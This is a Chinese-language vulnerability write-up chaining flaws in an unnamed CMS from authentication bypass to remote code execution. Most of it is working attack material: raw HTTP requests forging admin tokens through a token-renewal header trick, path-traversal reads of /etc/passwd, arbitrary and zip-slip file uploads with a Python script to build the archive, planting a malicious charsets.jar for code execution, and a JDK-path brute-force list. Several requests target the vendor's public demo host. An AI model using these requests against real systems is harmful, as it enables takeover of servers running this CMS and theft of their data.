分析某CMS鉴权绕过到RCE
鉴权分析 与鉴权有关的类如下： SecurityConfig WebMvcConfigurer public(.*?)Interceptor { public(.*?)filter { server-admin路由， # 不参与权限判断的接口 common: apis: /user/userInfo,/user/password/change,/permAssignment/stationGrou…
鉴权分析
与鉴权有关的类如下：
SecurityConfig
WebMvcConfigurer
public(.*?)Interceptor {
public(.*?)filter {
server-admin路由，
# 不参与权限判断的接口
common:
apis: /user/userInfo,/user/password/change,/permAssignment/stationGroupList,/logout,/user/password/check
SecurityConfig白名单，
WebMvcConfig白名单，
各种过滤器，com.某cms.web.inteceptor.*，其中也存在白名单，
server-front路由，
ServerFrontWebMvcConfig白名单，
存在两个拦截器，
service-gateway中的白名单，
看了白名单路由没啥用，过滤器刚好能绕。
鉴权绕过
此拦截器com.某cms.web.inteceptor.TokenRenewalInteceptor可以根据header头的值生成token并返回客户端,
设置Is-Refresh-Token、User-Id:、User-Name，返回token,，
GET /server-admin/userSecurity/loginWithCode HTTP/1.1
Host: demo.某cms.com
Sec-Ch-Ua: "Chromium";v="127", "Not)A;Brand";v="99"
Accept: application/json, text/plain, */*
Accept-Language: zh-CN
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.89 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Is-Refresh-Token: true
User-Id: 3101
User-Name: test
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive
拿token访问后台接口，
GET /server-admin/sysConfig/systemInfo HTTP/1.1
Host: demo.某cms.com
Sec-Ch-Ua: "Chromium";v="127", "Not)A;Brand";v="99"
Router-Id: 1901
Sec-Ch-Ua-Mobile: ?0
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.89 Safari/537.36
Accept: application/json, text/plain, */*
Token: eyJhbGciOiJIUzI1NiJ9.eyJqdGkiOiI3NDNjNTkzZTQzZGM0MWEzYWJhOTZiMjhkZWMyZmQxZiIsInN1YiI6IntcInVzZXJJZFwiOjMxMDEsXCJ1c2VyTmFtZVwiOlwidGVzdFwiLFwibG9naW5UYXJnZXRcIjpcImFkbWluXCJ9IiwiaXNzIjoic2ciLCJpYXQiOjE3NzAwMjkwNDAsImV4cCI6MTgzMDAyODk4MH0.SUbmv9lm6s4GhcANCnXXpmRVlu71zOV3CgYSqIh9RzU
Site-Id: 1
Sec-Ch-Ua-Platform: "Windows"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive
system用户的凭证如下：
GET /server-admin/userSecurity/loginWithCode HTTP/1.1
Host: demo.某cms.com
Sec-Ch-Ua: "Chromium";v="127", "Not)A;Brand";v="99"
Accept: application/json, text/plain, */*
Accept-Language: zh-CN
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.89 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Is-Refresh-Token: true
User-Id: 2172
User-Name: system
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
获取token，
GET /userSecurity/loginWithCode HTTP/1.1
Host: 192.168.91.129:8886
Sec-Ch-Ua: "Chromium";v="127", "Not)A;Brand";v="99"
Accept: application/json, text/plain, */*
Accept-Language: zh-CN
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.89 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Is-Refresh-Token: true
User-Id: 2172
User-Name: system
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
鉴权成功，
GET /server-admin/sysConfig/systemInfo HTTP/1.1
Host: 192.168.91.129:8886
Sec-Ch-Ua: "Chromium";v="127", "Not)A;Brand";v="99"
Router-Id: 1901
Sec-Ch-Ua-Mobile: ?0
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.89 Safari/537.36
Accept: application/json, text/plain, */*
Token: eyJhbGciOiJIUzI1NiJ9.eyJqdGkiOiI3YzMwOTIxZmI1ZTg0YzI3OGI4NmU0OTk0NTQ3MTVmMyIsInN1YiI6IntcInVzZXJJZFwiOjIxNzIsXCJ1c2VyTmFtZVwiOlwic3lzdGVtXCIsXCJsb2dpblRhcmdldFwiOlwiYWRtaW5cIn0iLCJpc3MiOiJzZyIsImlhdCI6MTc3MjA5OTcwNiwiZXhwIjoxNzcyMzE1NzA2fQ.YPeUd5puMGT2fUYa1TE6FlwZkPtPOTn5BuGMuoESMQU
Site-Id: 1
Sec-Ch-Ua-Platform: "Windows"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive
TemplateController（任意文件读取、任意文件上传）
在linux下可以实现任意文件读取，
GET /server-admin/template/detail?relativePath=../../../../../../../../../../../../../etc/passwd HTTP/1.1
Host: 192.168.91.129:8886
Sec-Ch-Ua: "Chromium";v="127", "Not)A;Brand";v="99"
Router-Id: 1901
Sec-Ch-Ua-Mobile: ?
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.89 Safari/537.36
Accept: application/json, text/plain, */*
Token: eyJhbGciOiJIUzI1NiJ9.eyJqdGkiOiI3YzMwOTIxZmI1ZTg0YzI3OGI4NmU0OTk0NTQ3MTVmMyIsInN1YiI6IntcInVzZXJJZFwiOjIxNzIsXCJ1c2VyTmFtZVwiOlwic3lzdGVtXCIsXCJsb2dpblRhcmdldFwiOlwiYWRtaW5cIn0iLCJpc3MiOiJzZyIsImlhdCI6MTc3MjA5OTcwNiwiZXhwIjoxNzcyMzE1NzA2fQ.YPeUd5puMGT2fUYa1TE6FlwZkPtPOTn5BuGMuoESMQU
Site-Id: 1
Sec-Ch-Ua-Platform: "Windows"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive
可以看到这里没有过滤恶意字符如../等，
任意文件上传，/template/uploadFile，
POST /server-admin/template/uploadFile HTTP/1.1
Host: 192.168.91.129:8886
Accept-Language: zh-CN,zh;q=0.9
Accept-Encoding: gzip, deflate
Site-Id: 1
Token: eyJhbGciOiJIUzI1NiJ9.eyJqdGkiOiI3YzMwOTIxZmI1ZTg0YzI3OGI4NmU0OTk0NTQ3MTVmMyIsInN1YiI6IntcInVzZXJJZFwiOjIxNzIsXCJ1c2VyTmFtZVwiOlwic3lzdGVtXCIsXCJsb2dpblRhcmdldFwiOlwiYWRtaW5cIn0iLCJpc3MiOiJzZyIsImlhdCI6MTc3MjA5OTcwNiwiZXhwIjoxNzcyMzE1NzA2fQ.YPeUd5puMGT2fUYa1TE6FlwZkPtPOTn5BuGMuoESMQU
Router-Id: 26
Origin: http://192.168.91.1:8886
Referer: http://192.168.91.1:8886/admin/index.html
Accept: application/json, text/plain, */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySxgxC7LBTDqtyhxA
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36
Content-Length: 300
------WebKitFormBoundarySxgxC7LBTDqtyhxA
Content-Disposition: form-data; name="relativePath"
../../../../../../../../../../../../
------WebKitFormBoundarySxgxC7LBTDqtyhxA
Content-Disposition: form-data; name="uploadFile"; filename="111.aaa"
Content-Type: image/jpeg
111111
------WebKitFormBoundarySxgxC7LBTDqtyhxA--
这里没有过滤../，也能上传任意后缀，
另外一个任意文件上传，
构造恶意的zip，解压时可以跨目录，导致任意文件上传，
import os
from pathlib import Path
import zipfile
# 1. 构造路径
relative_path = Path("..\..\..\..\..\..\..\..\..\tmp\tmp.1")
# 2. 规范化为绝对路径（便于确认实际创建位置）
absolute_path = relative_path.resolve()
print("实际创建文件路径:", absolute_path)
# 3. 确保目录存在（如果有父目录的话）
absolute_path.parent.mkdir(parents=True, exist_ok=True)
# 4. 创建文件
with open(absolute_path, "w") as f:
f.write("This is a test file.")
print("文件创建完成")
# 5. 压缩文件
zip_filename = "compressed.zip"
with zipfile.ZipFile(zip_filename, "w", zipfile.ZIP_DEFLATED) as zipf:
zipf.write(absolute_path, arcname="..\..\..\..\..\..\..\..\..\tmp\tmp.1")
print("压缩完成:", zip_filename)
POST /server-admin/template/batchImport HTTP/1.1
Host: 192.168.91.129:8886
Connection: keep-alive
sec-ch-ua-platform: "Windows"
sec-ch-ua: "Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"
sec-ch-ua-mobile: ?0
Router-Id: 26
Site-Id: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36
Accept: application/json, text/plain, */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH5FFpc8BJZvgOZPQ
token: eyJhbGciOiJIUzI1NiJ9.eyJqdGkiOiJmOGQyNzljNjMwMTQ0NjQ3Yjk5ZGYyMGM4ZWE2MTlhMCIsInN1YiI6IntcInVzZXJJZFwiOjIxNzIsXCJ1c2VyTmFtZVwiOlwic3lzdGVtXCIsXCJsb2dpblRhcmdldFwiOlwiYWRtaW5cIn0iLCJpc3MiOiJzZyIsImlhdCI6MTc3MjQyMzg2NiwiZXhwIjoxNzcyNjM5ODY2fQ.l57jfMkNnFuSzzsw2ZEW-IeQUkl41k9dfCCS6pk6fRM
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 1036
------WebKitFormBoundaryH5FFpc8BJZvgOZPQ
Content-Disposition: form-data; name="relativePath"
/mobile
------WebKitFormBoundaryH5FFpc8BJZvgOZPQ
Content-Disposition: form-data; name="uploadFile"; filename="1.zip"
Content-Type: image/jpeg
{{file(D:\nettools\java_shiyan\某cms-x2.4.1-deploy\compressed.zip)}}
------WebKitFormBoundaryH5FFpc8BJZvgOZPQ--
这里直接实现了zip解压，并没有判断文件名是否合法，
官方demo，
POST /server-admin/template/batchImport HTTP/1.1
Host: demo.某cms.com
Connection: keep-alive
sec-ch-ua-platform: "Windows"
sec-ch-ua: "Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"
sec-ch-ua-mobile: ?
Router-Id: 26
Site-Id: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36
Accept: application/json, text/plain, */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH5FFpc8BJZvgOZPQ
Token: eyJhbGciOiJIUzI1NiJ9.eyJqdGkiOiIzNDMzNmQ0ZmY2MGQ0OTIzYWQxZWYyYjU4ODE4NzgzMCIsInN1YiI6IntcInVzZXJJZFwiOjIxNzIsXCJ1c2VyTmFtZVwiOlwic3lzdGVtXCIsXCJsb2dpblRhcmdldFwiOlwiYWRtaW5cIn0iLCJpc3MiOiJzZyIsImlhdCI6MTc3MjQzMjQ2NSwiZXhwIjoxODMyNDMyNDA1fQ.rKyZBIPmtkpUbO4sHIvsV6444oMFmNKdl8JOa7C9-nw
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 1036
------WebKitFormBoundaryH5FFpc8BJZvgOZPQ
Content-Disposition: form-data; name="relativePath"
/mobile
------WebKitFormBoundaryH5FFpc8BJZvgOZPQ
Content-Disposition: form-data; name="uploadFile"; filename="1.zip"
Content-Type: image/jpeg
{{file(D:\nettools\java_shiyan\某cms-x2.4.1-deploy\compressed.zip)}}
------WebKitFormBoundaryH5FFpc8BJZvgOZPQ--
可以看到文件上传成功了，在tmp目录下存在tmp.1文件，
GET /server-admin/template/rightList?parentRelativePath=../../../../../../tmp HTTP/1.1
Host: demo.某cms.com
Connection: keep-alive
sec-ch-ua-platform: "Windows"
sec-ch-ua: "Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"
sec-ch-ua-mobile: ?0
Router-Id: 26
Site-Id: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36
Accept: application/json, text/plain, */*
token: eyJhbGciOiJIUzI1NiJ9.eyJqdGkiOiIzNDMzNmQ0ZmY2MGQ0OTIzYWQxZWYyYjU4ODE4NzgzMCIsInN1YiI6IntcInVzZXJJZFwiOjIxNzIsXCJ1c2VyTmFtZVwiOlwic3lzdGVtXCIsXCJsb2dpblRhcmdldFwiOlwiYWRtaW5cIn0iLCJpc3MiOiJzZyIsImlhdCI6MTc3MjQzMjQ2NSwiZXhwIjoxODMyNDMyNDA1fQ.rKyZBIPmtkpUbO4sHIvsV6444oMFmNKdl8JOa7C9-nw
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9
利用spring boot Fat Jar getshell
后台可以查看到版本信息，爆破jdk安装路径时就更加准确，
恶意charsets.jar如下：
https://github.com/LandGrey/spring-boot-upload-file-lead-to-rce-tricks/tree/main/release
爆破jdk安装路径并上传charsets.jar文件，
POST /server-admin/template/uploadFile HTTP/1.1
Host: 192.168.91.129:8886
Accept-Language: zh-CN,zh;q=0.9
Accept-Encoding: gzip, deflate
Site-Id: 1
Token: eyJhbGciOiJIUzI1NiJ9.eyJqdGkiOiI3YzMwOTIxZmI1ZTg0YzI3OGI4NmU0OTk0NTQ3MTVmMyIsInN1YiI6IntcInVzZXJJZFwiOjIxNzIsXCJ1c2VyTmFtZVwiOlwic3lzdGVtXCIsXCJsb2dpblRhcmdldFwiOlwiYWRtaW5cIn0iLCJpc3MiOiJzZyIsImlhdCI6MTc3MjA5OTcwNiwiZXhwIjoxNzcyMzE1NzA2fQ.YPeUd5puMGT2fUYa1TE6FlwZkPtPOTn5BuGMuoESMQU
Router-Id: 26
Origin: http://192.168.91.1:8886
Referer: http://192.168.91.1:8886/admin/index.html
Accept: application/json, text/plain, */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySxgxC7LBTDqtyhxA
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36
Content-Length: 300
------WebKitFormBoundarySxgxC7LBTDqtyhxA
Content-Disposition: form-data; name="relativePath"
../../../../../../../../../../../../../{{file:line(D:\nettools\yakit\Yakit\yakit-projects\temp\tmp2755086675.txt)}}
------WebKitFormBoundarySxgxC7LBTDqtyhxA
Content-Disposition: form-data; name="uploadFile"; filename="charsets.jar"
Content-Type: image/jpeg
{{file(D:\nettools\java_shiyan\spring-boot-upload-file-lead-to-rce-tricks-main\release\charsets.jar)}}
------WebKitFormBoundarySxgxC7LBTDqtyhxA--
此接口可以查看到jdk路径，
GET /server-admin/template/rightList?parentRelativePath=../../../../../usr/local/java/jdk1.8.0_261/jre HTTP/1.1
Host: demo.某cms.com
Connection: keep-alive
sec-ch-ua-platform: "Windows"
sec-ch-ua: "Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"
sec-ch-ua-mobile: ?0
Router-Id: 26
Site-Id: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36
Accept: application/json, text/plain, */*
token: eyJhbGciOiJIUzI1NiJ9.eyJqdGkiOiIzZDhlZjI2NzNkOWQ0YWFhYTdkMGQyMDQ2MmRjMmFmOSIsInN1YiI6IntcInVzZXJJZFwiOjMxMDEsXCJ1c2VyTmFtZVwiOlwidGVzdFwiLFwibG9naW5UYXJnZXRcIjpcImFkbWluXCJ9IiwiaXNzIjoic2ciLCJpYXQiOjE3NzIzNzA3NjEsImV4cCI6MTgyOTk3MDc2MX0.tzzBhU0kuwPiPTFILANtDPDCuNOUjzCIMAV9ale7Z6w
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9
jdk安装路径爆破字典如下（可以直接利用/usr/local/java/jdk1.8.0_261/jre/lib/上传，不用爆破）：
/usr/lib/jvm/jre/lib/
/usr/local/jdk/jre/lib/
/usr/local/java/jdk1.8.0_261/jre/lib/
/usr/local/openjdk-6/lib/
/usr/local/openjdk-7/lib/
/usr/local/openjdk-8/lib/
/usr/lib/jvm/java/jre/lib/
/usr/lib/jvm/jdk6/jre/lib/
/usr/lib/jvm/jdk7/jre/lib/
/usr/lib/jvm/jdk8/jre/lib/
/usr/lib/jvm/jdk-11.0.3/lib/
/usr/lib/jvm/jdk1.6/jre/lib/
/usr/lib/jvm/jdk1.7/jre/lib/
/usr/lib/jvm/jdk1.8/jre/lib/
/usr/local/openjdk6/jre/lib/
/usr/local/openjdk7/jre/lib/
/usr/local/openjdk8/jre/lib/
/usr/local/openjdk-6/jre/lib/
/usr/local/openjdk-7/jre/lib/
/usr/local/openjdk-8/jre/lib/
/mnt/jdk/jdk1.8.0_191/jre/lib/
/usr/lib/jvm/jdk1.6.0/jre/lib/
/usr/lib/jvm/jdk1.7.0/jre/lib/
/usr/lib/jvm/jdk1.8.0/jre/lib/
/usr/java/jdk1.8.0_111/jre/lib/
/usr/java/jdk1.8.0_121/jre/lib/
/usr/java/jdk1.8.0_261/jre/lib/
/usr/lib/jvm/java-6-oracle/lib/
/usr/lib/jvm/java-7-oracle/lib/
/usr/lib/jvm/java-8-oracle/lib/
/usr/lib/jvm/java-1.6.0/jre/lib/
/usr/lib/jvm/java-1.7.0/jre/lib/
/usr/lib/jvm/java-1.8.0/jre/lib/
/usr/lib/jvm/jdk1.7.0_51/jre/lib/
/usr/lib/jvm/jdk1.7.0_76/jre/lib/
/usr/lib/jvm/jdk1.8.0_60/jre/lib/
/usr/lib/jvm/jdk1.8.0_66/jre/lib/
/usr/lib/jvm/jdk1.8.0_74/jre/lib/
/usr/lib/jvm/jdk1.8.0_91/jre/lib/
/usr/lib/jvm/oracle_jdk6/jre/lib/
/usr/lib/jvm/oracle_jdk7/jre/lib/
/usr/lib/jvm/oracle_jdk8/jre/lib/
/usr/lib/jvm/jdk1.8.0_101/jre/lib/
/usr/lib/jvm/jdk1.8.0_102/jre/lib/
/usr/lib/jvm/jdk1.8.0_111/jre/lib/
/usr/lib/jvm/jdk1.8.0_131/jre/lib/
/usr/lib/jvm/jdk1.8.0_144/jre/lib/
/usr/lib/jvm/jdk1.8.0_151/jre/lib/
/usr/lib/jvm/jdk1.8.0_152/jre/lib/
/usr/lib/jvm/jdk1.8.0_161/jre/lib/
/usr/lib/jvm/jdk1.8.0_171/jre/lib/
/usr/lib/jvm/jdk1.8.0_172/jre/lib/
/usr/lib/jvm/jdk1.8.0_181/jre/lib/
/usr/lib/jvm/jdk1.8.0_191/jre/lib/
/usr/lib/jvm/jdk1.8.0_202/jre/lib/
/usr/lib/jvm/jdk8u202-b08/jre/lib/
/usr/lib/jvm/jre-6-oracle-x64/lib/
/usr/lib/jvm/jre-7-oracle-x64/lib/
/usr/lib/jvm/jre-8-oracle-x64/lib/
/usr/lib/jvm/zulu-6-amd64/jre/lib/
/usr/lib/jvm/zulu-7-amd64/jre/lib/
/usr/lib/jvm/zulu-8-amd64/jre/lib/
/usr/lib/jvm/java-6-oracle/jre/lib/
/usr/lib/jvm/java-7-oracle/jre/lib/
/usr/lib/jvm/java-8-oracle/jre/lib/
/usr/jdk/instances/jdk1.6.0/jre/lib/
/usr/jdk/instances/jdk1.7.0/jre/lib/
/usr/jdk/instances/jdk1.8.0/jre/lib/
/usr/lib/jvm/j2re1.6-oracle/jre/lib/
/usr/lib/jvm/j2re1.7-oracle/jre/lib/
/usr/lib/jvm/j2re1.8-oracle/jre/lib/
/usr/lib/jvm/java-1.6.0-sun/jre/lib/
/usr/lib/jvm/java-1.7.0-sun/jre/lib/
/usr/lib/jvm/java-1.8.0-sun/jre/lib/
/usr/lib/jvm/java-6-openjdk/jre/lib/
/usr/lib/jvm/java-7-openjdk/jre/lib/
/usr/lib/jvm/java-8-openjdk/jre/lib/
/usr/lib/jvm/j2sdk1.6-oracle/jre/lib/
/usr/lib/jvm/j2sdk1.7-oracle/jre/lib/
/usr/lib/jvm/j2sdk1.8-oracle/jre/lib/
/usr/lib/jvm/java-11-openjdk/jre/lib/
/usr/lib/jvm/java-12-openjdk/jre/lib/
/usr/lib/jvm/java-13-openjdk/jre/lib/
/usr/lib/jvm/java-1.6-openjdk/jre/lib/
/usr/lib/jvm/java-1.7-openjdk/jre/lib/
/usr/lib/jvm/java-1.8-openjdk/jre/lib/
/usr/lib/jvm/java-9-openjdk-amd64/lib/
/usr/lib/jvm/jdk-6-oracle-x64/jre/lib/
/usr/lib/jvm/jdk-7-oracle-x64/jre/lib/
/usr/lib/jvm/jdk-8-oracle-x64/jre/lib/
/usr/lib/jvm/jre-6-oracle-x64/jre/lib/
/usr/lib/jvm/jre-7-oracle-x64/jre/lib/
/usr/lib/jvm/jre-8-oracle-x64/jre/lib/
/usr/lib/jvm/java-10-openjdk-amd64/lib/
/usr/lib/jvm/java-11-openjdk-amd64/lib/
/usr/lib/jvm/java-1.11.0-openjdk/jre/lib/
/usr/lib/jvm/java-1.12.0-openjdk/jre/lib/
/usr/lib/jvm/java-6-openjdk-i386/jre/lib/
/usr/lib/jvm/java-6-sun-1.6.0.16/jre/lib/
/usr/lib/jvm/java-6-sun-1.6.0.20/jre/lib/
/usr/lib/jvm/java-7-openjdk-i386/jre/lib/
/usr/lib/jvm/java-8-openjdk-i386/jre/lib/
/usr/lib/jvm/java-6-openjdk-amd64/jre/lib/
/usr/lib/jvm/java-7-openjdk-amd64/jre/lib/
/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/
/usr/lib/jvm/java-1.6.0-oracle-x64/jre/lib/
/usr/lib/jvm/java-1.7.0-oracle-x64/jre/lib/
/usr/lib/jvm/java-1.8.0-oracle-x64/jre/lib/
/usr/lib/jvm/oracle-java6-jdk-amd64/jre/lib/
/usr/lib/jvm/oracle-java7-jdk-amd64/jre/lib/
/usr/lib/jvm/oracle-java8-jdk-amd64/jre/lib/
/usr/lib64/jvm/java-1.6.0-ibd-1.6.0/jre/lib/
/usr/lib64/jvm/java-1.6.0-ibm-1.6.0/jre/lib/
/usr/lib64/jvm/java-1.7.1-ibm-1.7.1/jre/lib/
/usr/lib/jvm/java-1.6.0-sun-1.6.0.11/jre/lib/
/usr/lib/jvm/java-1.6.0-openjdk-amd64/jre/lib/
/usr/lib/jvm/java-1.7.0-openjdk-amd64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-amd64/jre/lib/
/usr/lib/jvm/jre-1.6.0-openjdk.x86_64/jre/lib/
/usr/lib/jvm/jre-1.7.0-openjdk.x86_64/jre/lib/
/usr/lib/jvm/jre-1.8.0-openjdk.x86_64/jre/lib/
/usr/lib/jvm/java-1.11.0-openjdk-amd64/jre/lib/
/usr/lib/jvm/jdk-8-oracle-arm-vfp-hflt/jre/lib/
/usr/lib64/jvm/java-1.6.0-openjdk-1.6.0/jre/lib/
/usr/lib64/jvm/java-1.7.0-openjdk-1.7.0/jre/lib/
/usr/lib64/jvm/java-1.8.0-openjdk-1.8.0/jre/lib/
/usr/lib/jvm/java-1.6.0-openjdk-1.6.0.0.x86_64/jre/lib/
/usr/lib/jvm/java-1.7.0-openjdk-1.8.0.0.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-amazon-corretto.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.0.x86_64/jre/lib/
/usr/lib/jvm/java-1.7.0-openjdk-1.7.0.45.x86_64/jre/lib/
/usr/lib/jvm/java-1.7.0-openjdk-1.7.0.65.x86_64/jre/lib/
/usr/lib/jvm/java-1.7.0-openjdk-1.7.0.75.x86_64/jre/lib/
/usr/lib/jvm/java-1.7.0-openjdk-1.7.0.79.x86_64/jre/lib/
/usr/lib/jvm/java-1.7.0-openjdk-1.7.0.91.x86_64/jre/lib/
/usr/lib/jvm/java-1.7.0-openjdk-1.7.0.101.x86_64/jre/lib/
/usr/lib/jvm/java-1.7.0-openjdk-1.7.0.191.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.31-2.b13.el7.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.65-3.b17.el7.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.102-4.b14.el7.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.161-2.b14.el7.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.171-7.b10.el7.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.131-11.b12.el7.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.31-1.b13.el6_6.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.65-2.b17.el7_1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.77-0.b03.el6_7.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.91-0.b14.el7_2.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.101-3.b13.el7_2.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.102-1.b14.el7_2.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.111-0.b15.el6_8.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.111-1.b15.el7_2.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.111-2.b15.el7_3.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.121-0.b13.el7_3.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.131-0.b11.el6_9.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.131-2.b11.el7_3.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.131-3.b12.el7_3.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.141-1.b16.el7_3.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.141-3.b16.el6_9.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.144-0.b01.el6_9.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.144-0.b01.el7_4.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.151-1.b12.el6_9.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.151-1.b12.el7_4.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.151-5.b12.el7_4.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.161-0.b14.el7_4.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.161-3.b14.el6_9.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.171-3.b10.el6_9.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.171-8.b10.amzn2.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.171-8.b10.el6_9.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.171-8.b10.el7_5.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.181-3.b13.amzn2.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.181-3.b13.el7_5.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.191.b12-0.amzn2.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.191.b12-0.el7_5.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.191.b12-1.el7_6.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.201.b09-0.amzn2.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.201.b09-2.el7_6.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.212.b04-0.el7_6.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.222.b10-0.el7_6.x86_64/jre/lib/
